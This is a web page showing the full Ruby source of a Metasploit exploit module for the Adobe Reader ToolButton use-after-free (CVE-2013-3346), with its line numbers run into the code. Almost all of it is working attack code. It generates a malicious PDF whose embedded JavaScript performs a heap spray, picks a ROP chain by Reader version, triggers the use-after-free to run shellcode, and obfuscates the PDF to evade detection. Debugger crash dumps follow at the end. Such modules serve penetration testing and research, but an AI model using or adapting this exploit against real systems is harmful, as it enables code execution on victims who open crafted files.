Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/fileformat/adobe_toolbutton.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::FILEFORMAT9include Msf::Exploit::RopDb1011def initialize(info = {})12super(update_info(info,13'Name' => 'Adobe Reader ToolButton Use After Free',14'Description' => %q{15This module exploits a use after free condition on Adobe Reader versions 11.0.2, 10.1.616and 9.5.4 and prior. The vulnerability exists while handling the ToolButton object, where17the cEnable callback can be used to early free the object memory. Later use of the object18allows triggering the use after free condition. This module has been tested successfully19on Adobe Reader 11.0.2, 10.0.4 and 9.5.0 on Windows XP SP3, as exploited in the wild in20November, 2013.21},22'License' => MSF_LICENSE,23'Author' =>24[25'Soroush Dalili', # Vulnerability discovery26'Unknown', # Exploit in the wild27'sinn3r', # Metasploit module28'juan vazquez' # Metasploit module29],30'References' =>31[32[ 'CVE', '2013-3346' ],33[ 'OSVDB', '96745' ],34[ 'ZDI', '13-212' ],35[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb13-15.html' ],36[ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ]37],38'Payload' =>39{40'Space' => 1024,41'BadChars' => "\x00",42'DisableNops' => true43},44'Platform' => 'win',45'Targets' =>46[47[ 'Windows XP / Adobe Reader 9/10/11', { }],48],49'Privileged' => false,50'DisclosureDate' => '2013-08-08',51'DefaultTarget' => 0))5253register_options(54[55OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),56])57end5859def exploit60js_data = make_js6162# Create the pdf63pdf = make_pdf(js_data)6465print_status("Creating '#{datastore['FILENAME']}' file...")6667file_create(pdf)68end697071def make_js7273# CreateFileMappingA + MapViewOfFile + memcpy rop chain74rop_9 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '9' }))75rop_10 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '10' }))76rop_11 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '11' }))77escaped_payload = Rex::Text.to_unescape(payload.encoded)7879js = %Q|80function heapSpray(str, str_addr, r_addr) {81var aaa = unescape("%u0c0c");82aaa += aaa;83while ((aaa.length + 24 + 4) < (0x8000 + 0x8000)) aaa += aaa;84var i1 = r_addr - 0x24;85var bbb = aaa.substring(0, i1 / 2);86var sa = str_addr;87while (sa.length < (0x0c0c - r_addr)) sa += sa;88bbb += sa;89bbb += aaa;90var i11 = 0x0c0c - 0x24;91bbb = bbb.substring(0, i11 / 2);92bbb += str;93bbb += aaa;94var i2 = 0x4000 + 0xc000;95var ccc = bbb.substring(0, i2 / 2);96while (ccc.length < (0x40000 + 0x40000)) ccc += ccc;97var i3 = (0x1020 - 0x08) / 2;98var ddd = ccc.substring(0, 0x80000 - i3);99var eee = new Array();100for (i = 0; i < 0x1e0 + 0x10; i++) eee[i] = ddd + "s";101return;102}103var shellcode = unescape("#{escaped_payload}");104var executable = "";105var rop9 = unescape("#{rop_9}");106var rop10 = unescape("#{rop_10}");107var rop11 = unescape("#{rop_11}");108var r11 = false;109var vulnerable = true;110111var obj_size;112var rop;113var ret_addr;114var rop_addr;115var r_addr;116117if (app.viewerVersion >= 9 && app.viewerVersion < 10 && app.viewerVersion <= 9.504) {118obj_size = 0x330 + 0x1c;119rop = rop9;120ret_addr = unescape("%ua83e%u4a82");121rop_addr = unescape("%u08e8%u0c0c");122r_addr = 0x08e8;123} else if (app.viewerVersion >= 10 && app.viewerVersion < 11 && app.viewerVersion <= 10.106) {124obj_size = 0x360 + 0x1c;125rop = rop10;126rop_addr = unescape("%u08e4%u0c0c");127r_addr = 0x08e4;128ret_addr = unescape("%ua8df%u4a82");129} else if (app.viewerVersion >= 11 && app.viewerVersion <= 11.002) {130r11 = true;131obj_size = 0x370;132rop = rop11;133rop_addr = unescape("%u08a8%u0c0c");134r_addr = 0x08a8;135ret_addr = unescape("%u8003%u4a84");136} else {137vulnerable = false;138}139140if (vulnerable) {141var payload = rop + shellcode;142heapSpray(payload, ret_addr, r_addr);143144var part1 = "";145if (!r11) {146for (i = 0; i < 0x1c / 2; i++) part1 += unescape("%u4141");147}148part1 += rop_addr;149var part2 = "";150var part2_len = obj_size - part1.length * 2;151for (i = 0; i < part2_len / 2 - 1; i++) part2 += unescape("%u4141");152var arr = new Array();153154removeButtonFunc = function () {155app.removeToolButton({156cName: "evil"157});158159for (i = 0; i < 10; i++) arr[i] = part1.concat(part2);160}161162addButtonFunc = function () {163app.addToolButton({164cName: "xxx",165cExec: "1",166cEnable: "removeButtonFunc();"167});168}169170app.addToolButton({171cName: "evil",172cExec: "1",173cEnable: "addButtonFunc();"174});175}176|177178js179end180181def random_non_ascii_string(count)182result = ""183count.times do184result << (rand(128) + 128).chr185end186result187end188189def io_def(id)190"%d 0 obj \n" % id191end192193def io_ref(id)194"%d 0 R" % id195end196197198#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/199def n_obfu(str)200#return str201result = ""202str.scan(/./u) do |c|203if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'204result << "#%x" % c.unpack("C*")[0]205else206result << c207end208end209result210end211212213def ascii_hex_whitespace_encode(str)214result = ""215whitespace = ""216str.each_byte do |b|217result << whitespace << "%02x" % b218whitespace = " " * (rand(3) + 1)219end220result << ">"221end222223224def make_pdf(js)225xref = []226eol = "\n"227endobj = "endobj" << eol228229# Randomize PDF version?230pdf = "%PDF-1.5" << eol231pdf << "%" << random_non_ascii_string(4) << eol232233# catalog234xref << pdf.length235pdf << io_def(1) << n_obfu("<<") << eol236pdf << n_obfu("/Pages ") << io_ref(2) << eol237pdf << n_obfu("/Type /Catalog") << eol238pdf << n_obfu("/OpenAction ") << io_ref(4) << eol239# The AcroForm is required to get icucnv36.dll / icucnv40.dll to load240pdf << n_obfu("/AcroForm ") << io_ref(6) << eol241pdf << n_obfu(">>") << eol242pdf << endobj243244# pages array245xref << pdf.length246pdf << io_def(2) << n_obfu("<<") << eol247pdf << n_obfu("/Kids [") << io_ref(3) << "]" << eol248pdf << n_obfu("/Count 1") << eol249pdf << n_obfu("/Type /Pages") << eol250pdf << n_obfu(">>") << eol251pdf << endobj252253# page 1254xref << pdf.length255pdf << io_def(3) << n_obfu("<<") << eol256pdf << n_obfu("/Parent ") << io_ref(2) << eol257pdf << n_obfu("/Type /Page") << eol258pdf << n_obfu(">>") << eol # end obj dict259pdf << endobj260261# js action262xref << pdf.length263pdf << io_def(4) << n_obfu("<<")264pdf << n_obfu("/Type/Action/S/JavaScript/JS ") + io_ref(5)265pdf << n_obfu(">>") << eol266pdf << endobj267268# js stream269xref << pdf.length270compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))271pdf << io_def(5) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol272pdf << "stream" << eol273pdf << compressed << eol274pdf << "endstream" << eol275pdf << endobj276277###278# The following form related data is required to get icucnv36.dll / icucnv40.dll to load279###280281# form object282xref << pdf.length283pdf << io_def(6)284pdf << n_obfu("<</XFA ") << io_ref(7) << n_obfu(">>") << eol285pdf << endobj286287# form stream288xfa = <<-EOF289<?xml version="1.0" encoding="UTF-8"?>290<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">291<config xmlns="http://www.xfa.org/schema/xci/2.6/">292<present><pdf><interactive>1</interactive></pdf></present>293</config>294<template xmlns="http://www.xfa.org/schema/xfa-template/2.6/">295<subform name="form1" layout="tb" locale="en_US">296<pageSet></pageSet>297</subform></template></xdp:xdp>298EOF299300xref << pdf.length301pdf << io_def(7) << n_obfu("<</Length %s>>" % xfa.length) << eol302pdf << "stream" << eol303pdf << xfa << eol304pdf << "endstream" << eol305pdf << endobj306307###308# end form stuff for icucnv36.dll / icucnv40.dll309###310311312# trailing stuff313xrefPosition = pdf.length314pdf << "xref" << eol315pdf << "0 %d" % (xref.length + 1) << eol316pdf << "0000000000 65535 f" << eol317xref.each do |index|318pdf << "%010d 00000 n" % index << eol319end320321pdf << "trailer" << eol322pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol323324pdf << "startxref" << eol325pdf << xrefPosition.to_s() << eol326327pdf << "%%EOF" << eol328329end330end331332333=begin334335* crash Adobe Reader 10.1.4336337First chance exceptions are reported before any exception handling.338This exception may be expected and handled.339eax=0c0c08e4 ebx=00000000 ecx=02eb6774 edx=66dd0024 esi=02eb6774 edi=00000001340eip=604d3a4d esp=0012e4fc ebp=0012e51c iopl=0 nv up ei pl nz ac po cy341cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010213342AcroRd32_60000000!PDFLTerm+0xbb7cd:343604d3a4d ff9028030000 call dword ptr [eax+328h] ds:0023:0c0c0c0c=????????344345* crash Adobe Reader 11.0.2346347(940.d70): Access violation - code c0000005 (first chance)348First chance exceptions are reported before any exception handling.349This exception may be expected and handled.350*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.dll -351eax=0c0c08a8 ebx=00000001 ecx=02d68090 edx=5b21005b esi=02d68090 edi=00000000352eip=60197b9b esp=0012e3fc ebp=0012e41c iopl=0 nv up ei pl nz ac po cy353cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210213354AcroRd32_60000000!DllCanUnloadNow+0x1493ae:35560197b9b ff9064030000 call dword ptr [eax+364h] ds:0023:0c0c0c0c=????????356357=end358359360